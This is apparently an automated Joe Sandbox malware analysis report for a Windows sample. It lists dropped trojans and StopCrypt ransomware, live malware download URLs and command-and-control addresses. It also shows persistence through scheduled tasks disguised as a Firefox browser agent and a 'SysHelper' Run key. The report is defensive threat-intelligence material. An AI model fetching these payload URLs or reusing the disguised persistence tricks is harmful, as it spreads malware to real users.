C:\Users\user\AppData\Local\Temp\4EDC.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\FC0C.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\8908.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\C651.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\6E1E.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\D083.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\E4D7.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\3FD8.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\37D8.exe 100% Joe Sandbox ML

C:\Users\user\AppData\LocalLow\sqlite3.dll 0% Metadefender Browse

C:\Users\user\AppData\LocalLow\sqlite3.dll 0% ReversingLabs

C:\Users\user\AppData\Local\Temp\1105.tmp 0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\1105.tmp 2% ReversingLabs

C:\Users\user\AppData\Local\Temp\37D8.exe 39% ReversingLabs ByteCode-
MSIL.Trojan.CrypterX

C:\Users\user\AppData\Local\Temp\3AE.exe 14% ReversingLabs ByteCode-
MSIL.Backdoor.Androm

C:\Users\user\AppData\Local\Temp\3FD8.exe 22% ReversingLabs ByteCode-
MSIL.Trojan.CrypterX

C:\Users\user\AppData\Local\Temp\4EDC.exe 80% ReversingLabs Win32.Ransomware.StopC
rypt

C:\Users\user\AppData\Local\Temp\60DF.exe 43% ReversingLabs ByteCode-
MSIL.Trojan.Heracles

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 3% Metadefender Browse

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 0% ReversingLabs

C:\Users\user\AppData\Local\Temp\B74C.exe 43% ReversingLabs Win32.Trojan.Fugrafa

C:\Users\user\AppData\Local\Temp\C651.exe 55% ReversingLabs Win32.Trojan.Fragtor

C:\Users\user\AppData\Local\Temp\D083.exe 32% ReversingLabs ByteCode-
MSIL.Trojan.Generic

Source Detection Scanner Label Link

Source Detection Scanner Label Link Download

15.0.8908.exe.400000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

14.0.esdfufc.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

15.0.8908.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

15.1.8908.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

15.2.8908.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.3.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

34.0.DataSvcUtil.exe.400000.1.unpack 100% Avira HEUR/AGEN.1141492 Download File

22.3.4EDC.exe.3090000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

22.1.4EDC.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

3.0.y8WngeDn4q.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

3.0.y8WngeDn4q.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

3.2.y8WngeDn4q.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

3.0.y8WngeDn4q.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

13.2.8908.exe.2b615a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

22.2.4EDC.exe.3080e50.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

15.0.8908.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

27.3.6E1E.exe.4770000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

41.1.C651.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.2.6E1E.exe.2dc0e50.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

12.2.esdfufc.2cb15a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

34.0.DataSvcUtil.exe.400000.3.unpack 100% Avira HEUR/AGEN.1141492 Download File

34.2.DataSvcUtil.exe.400000.0.unpack 100% Avira HEUR/AGEN.1141492 Download File

14.2.esdfufc.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

0.2.y8WngeDn4q.exe.47615a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

3.1.y8WngeDn4q.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

15.0.8908.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

14.0.esdfufc.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Unpacked PE Files
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15.0.8908.exe.400000.3.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

27.2.6E1E.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

42.2.SMSvcHost.exe.400000.0.unpack 100% Avira HEUR/AGEN.1141492 Download File

15.0.8908.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

39.1.csdfufc.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

34.0.DataSvcUtil.exe.400000.2.unpack 100% Avira HEUR/AGEN.1141492 Download File

34.0.DataSvcUtil.exe.400000.0.unpack 100% Avira HEUR/AGEN.1141492 Download File

14.1.esdfufc.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

22.2.4EDC.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

39.2.csdfufc.400000.0.unpack 100% Avira HEUR/AGEN.1124573 Download File

15.0.8908.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

privacytoolzforyou-6000.top 5% Virustotal Browse

Source Detection Scanner Label Link

tempuri.org/DetailsDataSet1.xsd 0% Avira URL Cloud safe

sysaheu90.top/game.exe 16% Virustotal Browse

sysaheu90.top/game.exe 100% Avira URL Cloud malware

https://api.ip.sb/ip 0% URL Reputation safe

ocsp.sectigo.com0 0% URL Reputation safe

nusurtal4f.net/ 0% Avira URL Cloud safe

crl.sectigo.com/SectigoRSACodeSigningCA.crl0s 0% URL Reputation safe

znpst.top/dl/buildz.exe 100% Avira URL Cloud malware

crt.sectigo.com/SectigoRSACodeSigningCA.crt0# 0% URL Reputation safe

privacytoolzforyou-6000.top/downloads/toolspab2.exe 100% Avira URL Cloud malware

crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe

https://iyc.jelikob.ru/263873486.exe 0% Avira URL Cloud safe

https://193.56.146.214/ 0% Avira URL Cloud safe

194.180.174.181//l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8 0% Avira URL Cloud safe

crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe

https://sectigo.com/CPS0C 0% URL Reputation safe

194.180.174.181/ 0% Avira URL Cloud safe

https://sectigo.com/CPS0D 0% URL Reputation safe

toptelete.top/agrybirdsgamerept 100% Avira URL Cloud malware

193.56.146.214/ 0% Avira URL Cloud safe

hajezey1.top/ 100% Avira URL Cloud malware

Name IP Active Malicious Antivirus Detection Reputation

privacytoolzforyou-6000.top 185.98.87.159 true true 5%, Virustotal, Browse unknown

iyc.jelikob.ru 81.177.141.36 true false high

toptelete.top 104.21.9.146 true false high

mas.to 88.99.75.82 true false high

cdn.discordapp.com 162.159.135.233 true false high

api.2ip.ua 77.123.139.190 true false high

znpst.top 5.163.179.4 true false high

nusurtal4f.net 45.141.84.21 true false high

hajezey1.top 185.98.87.159 true false high

sysaheu90.top 185.98.87.159 true false high

telegalive.top unknown unknown false high

xacokuo8.top unknown unknown false high

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 511828

Start date: 29.10.2021

Start time: 17:53:10

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 14m 34s

Name Malicious Antivirus Detection Reputation

sysaheu90.top/game.exe true 16%, Virustotal, Browse
Avira URL Cloud: malware

unknown

https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D
378.jpg

false high

https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D
0D3.jpg

false high

nusurtal4f.net/ false Avira URL Cloud: safe unknown

znpst.top/dl/buildz.exe true Avira URL Cloud: malware unknown

privacytoolzforyou-6000.top/downloads/toolspab2.exe true Avira URL Cloud: malware unknown

https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB
811.jpg

false high

https://iyc.jelikob.ru/263873486.exe false Avira URL Cloud: safe unknown

https://193.56.146.214/ true Avira URL Cloud: safe unknown

https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9
338.jpg

false high

194.180.174.181//l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e
8

true Avira URL Cloud: safe unknown

194.180.174.181/ true Avira URL Cloud: safe unknown

toptelete.top/agrybirdsgamerept true Avira URL Cloud: malware unknown

https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3
C88.jpg

false high

193.56.146.214/ true Avira URL Cloud: safe unknown

hajezey1.top/ true Avira URL Cloud: malware unknown

IP Domain Country Flag ASN ASN Name Malicious

185.98.87.159 privacytoolzforyou-
6000.top

Russian Federation 205840 VM-HOSTINGRU true

81.177.141.36 iyc.jelikob.ru Russian Federation 8342 RTCOMM-ASRU false

45.141.84.21 nusurtal4f.net Russian Federation 206728 MEDIALAND-ASRU false

104.21.9.146 toptelete.top United States 13335 CLOUDFLARENETUS false

194.180.174.181 unknown unknown 39798 MIVOCLOUDMD true

216.128.137.31 unknown United States 20473 AS-CHOOPAUS true

162.159.135.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

93.115.20.139 unknown Romania 202448 MVPShttpswwwmvpsnetEU false

5.163.179.4 znpst.top Saudi Arabia 25019 SAUDINETSTC-ASSA false

162.159.134.233 unknown United States 13335 CLOUDFLARENETUS false

IP

192.168.2.1

URLs from Memory and Binaries

Contacted IPs

Public

Private
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https://www.virustotal.com/gui/url/444cd0b1e10dde9a9857d4103beb627101337bb76d7adbbd27f1e02f21af4f2f/detection/u-444cd0b1e10dde9a9857d4103beb627101337bb76d7adbbd27f1e02f21af4f2f-1635499206


Hypervisor based Inspection enabled: false

Report type: light

Sample file name: y8WngeDn4q.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

43

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.expl.evad.winEXE@43/42@60/11

EGA Information: Failed

HDC Information: Successful, ratio: 39% (good quality ratio 26.3%)
Quality average: 45.3%
Quality standard deviation: 38.6%

HCA Information: Successful, ratio: 51%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

17:54:57 Task Scheduler Run new task: Firefox Default Browser Agent 2E4CD9DF3DCA4B48 path: C:\Users\user\AppData\Roaming\esd
fufc 

17:55:50 API Interceptor 71x Sleep call for process: powershell.exe modified

17:55:52 API Interceptor 7x Sleep call for process: E4D7.exe modified

17:56:06 Task Scheduler Run new task: Firefox Default Browser Agent E51D90022164B9C7 path: C:\Users\user\AppData\Roaming\csd
fufc 

17:56:16 Task Scheduler Run new task: Firefox Default Browser Agent F269093093CAD882 path: C:\Users\user\AppData\Roaming\gbd
fufc 

17:56:22 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\523df
71c-62d9-464f-9100-f81f637eb4f6\B74C.exe" --AutoStart

17:56:40 Task Scheduler Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\523df71c-62d9-464f-9100-f81f637eb4
f6\B74C.exe s>--Task

17:56:43 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\523
df71c-62d9-464f-9100-f81f637eb4f6\B74C.exe" --AutoStart

17:57:17 Task Scheduler Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodh
elper.exe 

No context

No context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains
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No context

No context

No context

C:\Users\user\AppData\LocalLow\1xVPfvJcrg
Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t
Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa
Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa

C:\Users\user\AppData\LocalLow\mNPgVtudFi
Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 118784

Entropy (8bit): 0.4589067735369779

Encrypted: false

SSDEEP: 48:TXYBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:UWU+bDoYysX0uhnydVjN9DLjGQLBE3u

MD5: 89CE01DCB0DC182AFF651E0094A2A7A2

SHA1: DBFC15F5503780095741421FCC662D72460D804A

SHA-256: 1A0599ED2576D1224FDE5E4B512BF36AA0D322765C8F83ADDF9487D6D4E511E0

SHA-512: 86E16B4D227056BB75D51F4D01F69E8585626664401E14C1F052C8C9F6D6F4BF5C3FAB041FCDB33E9D8EBB82785D9B382E97FBBBCD0550BA49776C14934079EC

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla
Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.6951152985249047

Encrypted: false

SSDEEP: 24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBopIvJn2QOYiUG3PaVrX:T5LLOpEO5J/Kn7U1uBopIvZXC/alX

MD5: EA7F9615D77815B5FFF7C15179C6C560

SHA1: 3D1D0BAC6633344E2B6592464EBB957D0D8DD48F

SHA-256: A5D1ABB57C516F4B3DF3D18950AD1319BA1A63F9A39785F8F0EACE0A482CAB17

SHA-512: 9C818471F69758BD4884FDB9B543211C9E1EE832AC29C2C5A0377C412454E8C745FB3F38FF6E3853AE365D04933C0EC55A46DDA60580D244B308F92C57258C98

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll

Process: C:\Users\user\AppData\Local\Temp\E4D7.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 916735

Entropy (8bit): 6.514932604208782

Encrypted: false

SSDEEP: 24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX

MD5: F964811B68F9F1487C2B41E1AEF576CE

SHA1: B423959793F14B1416BC3B7051BED58A1034025F

SHA-256: 83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7

SHA-512: 565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C
4

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
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https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNSEJxYzJWa1JqVjRXZ1FrS2NodVBRRng/regular/analysis


Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... 
.......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... 
...|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsr
c........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@.....................
.@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\LocalLow\sqlite3.dll

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\37D8.exe.log
Process: C:\Users\user\AppData\Local\Temp\37D8.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1039

Entropy (8bit): 5.365622957937216

Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs

MD5: AE8CFF33270358D6EC23793128B3EF2F

SHA1: 5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE

SHA-256: 498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C

SHA-512: 473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3FD8.exe.log
Process: C:\Users\user\AppData\Local\Temp\3FD8.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 2388

Entropy (8bit): 5.316698480382997

Encrypted: false

SSDEEP: 48:MxHKXwYHKhQnoPtHoxHhAHKzvKvDfHK7HKhBHKdHKBSTHvmHKAHK1HxLHG1qHqHJ:iqXwYqhQnoPtIxHeqzyLq7qLqdqsOqAh

MD5: B45D55477BF95FAF8A2EF5FEB849A585

SHA1: A6E80A30D21CCDE63DA49DC3AB410209FDBBD1C1

SHA-256: FB7B2E11B22AE4F6DC31B3808B516811D11D724903D666E5B36D46C3C40413E6

SHA-512: D0F04226B7E20193C70E56904D8AC6C54F5B989748F06EA929BB6237EA48FA436CA54F7F0D90BA631141C66E1422639FF2C09219439B3A46B657FBF0973E6F93

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\60DF.exe.log
Process: C:\Users\user\AppData\Local\Temp\60DF.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1039

Entropy (8bit): 5.365622957937216

Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs

MD5: AE8CFF33270358D6EC23793128B3EF2F

SHA1: 5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE

SHA-256: 498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C

SHA-512: 473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98

Malicious: false

Reputation: unknown
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Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\60DF.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 14734

Entropy (8bit): 4.993014478972177

Encrypted: false

SSDEEP: 384:cBVoGIpN6KQkj2Wkjh4iUxtaKdROdBLNXp5nYoGib4J:cBV3IpNBQkj2Lh4iUxtaKdROdBLNZBYH

MD5: 8D5E194411E038C060288366D6766D3D

SHA1: DC1A8229ED0B909042065EA69253E86E86D71C88

SHA-256: 44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8C93D390E31F

SHA-512: 21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2B9DF27B2816D6EE3B3187E54BF066A96DB9EC1FF47FF86FEA36282AB906367

Malicious: false

Reputation: unknown

Preview:
PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo......
..fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-
DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Scri
pt........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule....
....Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*..
.....Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 22144

Entropy (8bit): 5.604450109700116

Encrypted: false

SSDEEP: 384:otCD3098y4AaXvdQfb09B6CzCS0nMjultItu7Y9gpSJ3x+T1Ma3ZlgRV71k3DqZP:MEdMbYB4TMCltSKpcsC2fYpFV1

MD5: E28D076957D9C22D965203EB7A55B4CB

SHA1: 1ABFAB7C77BEE3B46DD13FD8224AEAF83554FEF6

SHA-256: 124BFBCEE44CD200574524E377A415B8E5BE6673DEA653AAA596F3AE5EF0A811

SHA-512: 832E404FEEEAE031BB8422CD2FBAAA73D60936132746D69F88514EA362220DF7D0F9171EDF12C50E54EDABB5935576360104F2F0B85EDA1DA0A2173EFDF694E
4

Malicious: false

Reputation: unknown

Preview:
@...e...........X.......h.................J..........@..........H...............<@.^.L."My...:<..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Managemen
t.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~......
.#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f.......
